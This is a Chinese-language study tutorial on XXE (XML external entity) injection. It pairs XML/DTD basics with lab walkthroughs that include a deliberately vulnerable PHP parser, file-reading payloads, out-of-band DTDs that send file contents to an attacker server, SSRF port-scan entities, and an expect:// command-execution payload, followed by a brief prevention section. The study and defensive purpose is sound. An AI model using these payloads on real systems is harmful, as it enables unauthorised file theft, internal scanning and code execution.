XXE漏洞学习
0x00 XXE漏洞简介
在介绍XXE漏洞之前,先来看一下普通的XML注入,普通的XML注入利用面比较狭窄,即使有的话一般也就是逻辑漏洞:
普通XML漏洞,图示:
普通的XML漏洞告诉我们,XML代码能够插入我们的恶意代码,我们就是一进行进一步的利用,由此而产生了XXE漏洞。
XXE漏洞全称XML External Entity Injection,即XML外部实体注入。可以把它视为一种注入漏洞,注入的是外部实体。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起DOs攻击等危害。
XXE漏洞触发点往往是可以上传XML文件的位置,没有对上传的XML文件进行过滤,导致上传任意的xml文件。
0x01 XML基础知识
认识XXE之前必学认识XML,XML 指可扩展标记语言(Extensible Markup Language):
XML:被设计用来传输和存储数据;
HTML:被设计用来显示数据
1、XML把数据从HTML分离,XML是独立于软件和硬件的信息传输工具;
2、所有的XML文档都有5中简单的构造模块(元素、属性、实体、PCDATA、CDATA)组成;
PCDATA的意思是: 被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
文本中的标签会被当作标记来处理,而实体会被展开。
CDATA意思是: 字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
3、实体:是由定义应用普通文本或特殊符号的快捷方式的变量,实体应用是对实体的引用。实体可以在内部或外部进行声明。因此我们利用引用实体,构造恶意内容,从而达到攻击的目的;
4、xml实体分为四种:字符实体、命名实体、外部实体、参数实体;
5、XML中的5个预定义的引用
在 XML 中,一些字符拥有特殊的意义。
如果您把字符 “<” 放在 XML元素中,会发生错误,这是因为解析器会把它当作新元素的开始。
<message>if salary < 1000 then</message> <!-- 发生错误的XML。 -->
<!-- 使用实体引用来代替"<" 字符。-->
<message>if salary < ;1000 then</message> <!-- √ -->
6、XML语言没有预定义的标签,允许作者定义自己的标签和自己的文档结构
XML语法特点:
XML可以自定义标签;
XML必须含有根元素;
XML必须按顺序闭合标签;
XML标签大小写敏感;
XML属性值须加引号;
XML元素必须被正确 的嵌套
0x02 DTD内外部引用
XML文档有自己的一个格式规范,其格式规范是由一个叫做DTD(Doucment Type Definition)的东西定义,DTD可以被成形的
声明在xml文档中,也可以作为一个外部引用。
1. 内部引用:
格式:<!DOCTYPE root-element [element-declarations]>
内部引用实例:
<!--XML声明:XML声明、版本和编码-->
<?xml version="1.0" encoding="UTF-8"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]>
<!--文档元素-->
<note time="2019.9.11"> <!--根元素 time为属性 2019.9.11位属性值-->
<to>Dave</to> <!--四个子元素 to、from、head、body-->
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note><!--所有的节点必须闭合、必须按顺序闭合-->
在内部应用实例中,代码基本分为三部分:
第一部分是XML声明;
第二部分是XML的DTD文档类型定义;
第三部分是XML语句。
其实除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 XML 中除了能定义标签以外,还需要有些内容是固定的 :
实例代码:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY chybeta "Hello World!">
]>
<xxe>
&chybeta;
</xxe>
访问该XML文档,&chybeta;会被解析为Hello World!并输出。
2. 外部引用:
格式:
<!ENTITY 实体名称 SYSTEM "URI">
<!ENTITY xxe(实体引用名) system "file:///etc/passwd"(实体内容)>]>
通过引用定义在外部的DTD中的实体,我们称之为外部实体,有system和public两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议: file | http | php。xxe漏洞主要利用的是外部实体。
默认协议:
PHP扩展协议:
外部引用实例:
<?xml cersion="1.0">
<!DOCTYPE hack [
<!ENTITY xxe SYSTEM "file:///etc/password">
]>
<hack>&xxe;</hack>
上述代码中,XML的外部实体“xxe”被赋予的值为:file:///etc/passwd
当解析xml文档是,xxe会被替换为file:///ect/passwd的内容。
3. 参数化外部引用:
参数实体+外部实体:
<?xml version="1.0" encoiding="utf-8">
<!DOCTYPE hack [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>
“%name”(参数实体)实在DTD中被引用,而"&name;"是在xml文档中被引用的。
XXE漏洞攻击主要是利用了DTD引用外部实体导致的漏洞。
0x03 XEE攻击思路
1、引用外部实体远程文件读取;
2、Bild XXE;
3、Dos
0x04 XEE漏洞利用
实验一:有回显读本地敏感文件(Normal XXE)
这个实验的攻击场景模拟的是在服务能接收并解析 XML 格式的输入并且有回显的时候,我们就能输入我们自定义的 XML 代码,通过引用外部实体的方法,引用服务器上面的文件
服务器上放上XML的PHP代码:xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
paylod:查看服务器c盘目录下的system.ini文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
由于文件内没有特殊字符,所以读取十分顺利,但当文件中含有特殊字符时,例如测试文件:test.txt
# /etc/fstab:static file system information.
# # <file system><mount point><typr><options> <dump><pass>
proc /proc proc defaults 0 0/dec/hda2 /
ext3 defaults,errors=remount-ro 0 1 ...
直接读取:
不仅读取不到,还报错,是因为有些内容不想让解析引擎执行,而是当做原始的内用处理,用于把整段数据解析为纯字符数据而不是标记的情况包含大量的<>&或者"字符,CDATA中的所有字符都会当做字符元素的常量部分,而不是xml标记:
<![CDATA[
XXXXXXXXX
]]>
可以输入任意字符,除了]]>不能嵌套,用处是万一某个标签内容包含特殊字符或者不确定字符,可以利用CDATA把读取的数据包起来,进行绕过。
首先,寻找问题出现的位置:
...
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
引用并不接受可能会引起 xml 格式混乱的字符(在XML中,有时实体内包含了些字符,如&,<,>,",'等。这些均需要对其进行转义,否则会对XML解释器生成错误),我们想在引用的两边加上 "<![CDATA["和 “]]>”,但是好像没有任何语法告诉我们字符串能拼接的,于是我想到了能不能使用多个实体连续引用的方法
构造心得payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY start "<![CDATA[">
<!ENTITY goodies "file:///f:test.test">
<!ENTITY end "]]>">]>
<creds>&start;&goodies;&end;</creds>
读取内容:
注意,这里面的三个实体都是字符串形式,连在一起居然报错了,这说明我们不能在 xml 中进行拼接,而是需要在拼接以后再在 xml 中调用,那么要想在 DTD
中拼接,我们知道我们只有一种选择,就是使用 参数实体
新的payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///f:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.15.94/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>
evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
读取结果:
新的问题出现
服务器上的xml本身就不是输出用的,一般就是用于配置或者在某些极端情况下利用其他漏洞恰好能实例化解析xml的类,因此我们想要在现实中利用这个漏洞就必学找到一个不依赖其回显的方法-----外带。
新问题的解决方法
要想外带就必须能发起请求,那么什么地方能发起请求呢?很明显就是我们的外部实体定义的时候,其实光发起请求还是不行,我们还得能把我们的数据传输出去,而我们的数据本身也就是一个对外的请求,也就是说,我们需要在请求引用另外一次请求的结果,分析下来只有我们的参数实体能够做到(并且根据规范,我们必须在一个DTD文件中才能完成“请求中引用另一次请求的结果”的要求)。
实验二:无回显读取本地敏感文件(Blind OOB XXE)
xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///f:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.15.94?p=%file;'>">
payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.15.94/test.dtd">
%remote;%int;%send;
]>
实验二暂时存在一些问题,获取不到回连结果,弹出了警告信息:
但是,对弹出的警告信息,中部分进行base64解码,发现是我们要获取的目标主机文件的base64加密结果:
我们清楚第看到服务器端接收到了我们用 base64 编码后的敏感文件信息(编码也是为了不破坏原本的XML语法),不编码会报错。
调用过程
我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后
请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面
的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用
%send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。
新的思考
我们刚刚都只是做了一件事,那就是通过 file 协议读取本地文件,或者是通过 http 协议发出请求,熟悉 SSRF 的童鞋应该很快反
应过来,这其实非常类似于 SSRF ,因为他们都能从服务器向另一台服务器发起请求,那么我们如果将远程服务器的地址换成
某个内网的地址,(比如 192.168.0.10:8080)是不是也能实现 SSRF 同样的效果呢?没错,XXE 其实也是一种 SSRF 的攻击
手法,因为 SSRF 其实只是一种攻击模式,利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。
新的利用
所以要想更进一步的利用我们不能将眼光局限于 file 协议,我们必须清楚地知道在何种平台,我们能用何种协议
php在安装扩展后的支持的协议:
实验三 XEE的基本利用
通常攻击者会将payload注入XML文件中,一旦文件被执行,将会读取服务器上的本地文件,并对内网发起访问扫描内部网络端口。换而言之,XXE是一种从本地到达各种服务的方法。此外,在一定程度上这也可能帮助攻击者绕过防火墙规则过滤或身份验证检查。
以下是一个简单的XML代码POST请求示例:
POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1
<?xml version="1.0"?>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>XML is the best!</description>
</core>
</catalog>
之后,上述代码将交由服务器的XML处理器解析。代码被解释并返回:{“Request Successful”: “Added!”}
现在,当攻击者试图滥用XML代码解析时会发生什么?让我们编辑代码并包含我们的恶意payload:
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
代码被解释并返回:
{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...
实验四 Blind OOB XXE
在实验三中,服务器将/etc/passwd文件的内容作为响应返回给我们的XXE。但是在某些情况下,即便服务器可能存在XXE,也不会向攻击者的浏览器或代理返回任何响应。遇到这种情况,我们可以使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据。虽然我们无法直接查看文件内容,但我们仍然可以使用易受攻击的服务器作为代理,在外部网络上执行扫描以及代码。
场景1-端口扫描
在实验三,我们通过URI将请求指向了/etc/passwd文件,并最终成功的为我们返回了文件中的内容。除此之外,我们也可以使用http URI并强制服务器向我们指定的端点和端口发送GET请求,将XXE转换为SSRF(服务器端请求伪造)。
以下代码将尝试与端口8080通信,根据响应时间/长度,攻击者将可以判断该端口是否已被开启。
payload:
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
场景2-通过DTD窃取文件
外部文档类型定义(DTD)文件可被用于触发OOB XXE。攻击者将.dtd文件托管在VPS上,使远程易受攻击的服务器获取该文件并执行其中的恶意命令。
以下请求将被发送到应用程序以演示和测试该方法:
payload:
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
上述代码一旦由易受攻击的服务器处理,就会向我们的远程服务器发送请求,查找包含我们的payload的DTD文件:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>">
%all;
让我们花点时间了解上述请求的执行流程。结果是有两个请求被发送到了我们的服务器,第二个请求为/etc/passwd文件的内容。
在我们的VPS日志中我们可以看到,带有文件内容的第二个请求,以此我们也确认了OOB XXE漏洞的存在:
http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh
场景3-远程代码执行
这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
响应:
{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...
0x04 XEE常用有效负载
1.扫IP:默认端口可能是80或者8080等等,写脚本跑
<!ENTITY scan "http://127.0.0.1" >]><msg>&scan;</msg>
2.识别存活 ip段:
<!ENTITY scan "http://surrounding-ips" >]><msg>&scan;</msg>
3.是否用https服务:
<!ENTITY scan "https://127.0.0.1" >]><msg>&scan;</msg>
4.查看目标服务器是否与DNS服务器通信以解析内部可访问的域:
<!ENTITY scan "https://internal -domain.com" >]><msg>&scan;</msg>
5.探测其他端口是否阿hiyouweb服:
<!ENTITY scan "https://externalsite.com:80" >]><msg>&scan;</msg>
0x05 预防XEE
一个XML解析器不应该遵循外部实体的URI,或者只能遵循已知的好URI(白名单URI)。 对于某些解析器,为了防止黑客攻击禁用XXE,他们必须将setExpandEntityReferences设置为false,但请注意,这不符合您对某些可用XML解析器的期望。
XML外部实体注入使用DOCTYPE标记来定义注入的实体。 XML解析器通常可以配置为禁用对此标记的支持。 您应该查阅XML解析库的文档以确定如何禁用此功能。 也可以使用输入验证来阻止包含DOCTYPE标记的输入!
以下是两种主要对策:
1.通用对策
用户提供的输入的白名单过滤器。
与预期的输入类型相关的过滤器,例如 整数和规定的长度
2.技术特定对策
检查并应用XML解析器供应商推荐的强化功能。
强化程序语言设计检查应用层
参考:https://www.jianshu.com/p/77f2181587a4
https://www.freebuf.com/articles/web/177979.html
https://xz.aliyun.com/t/3357#reply-12699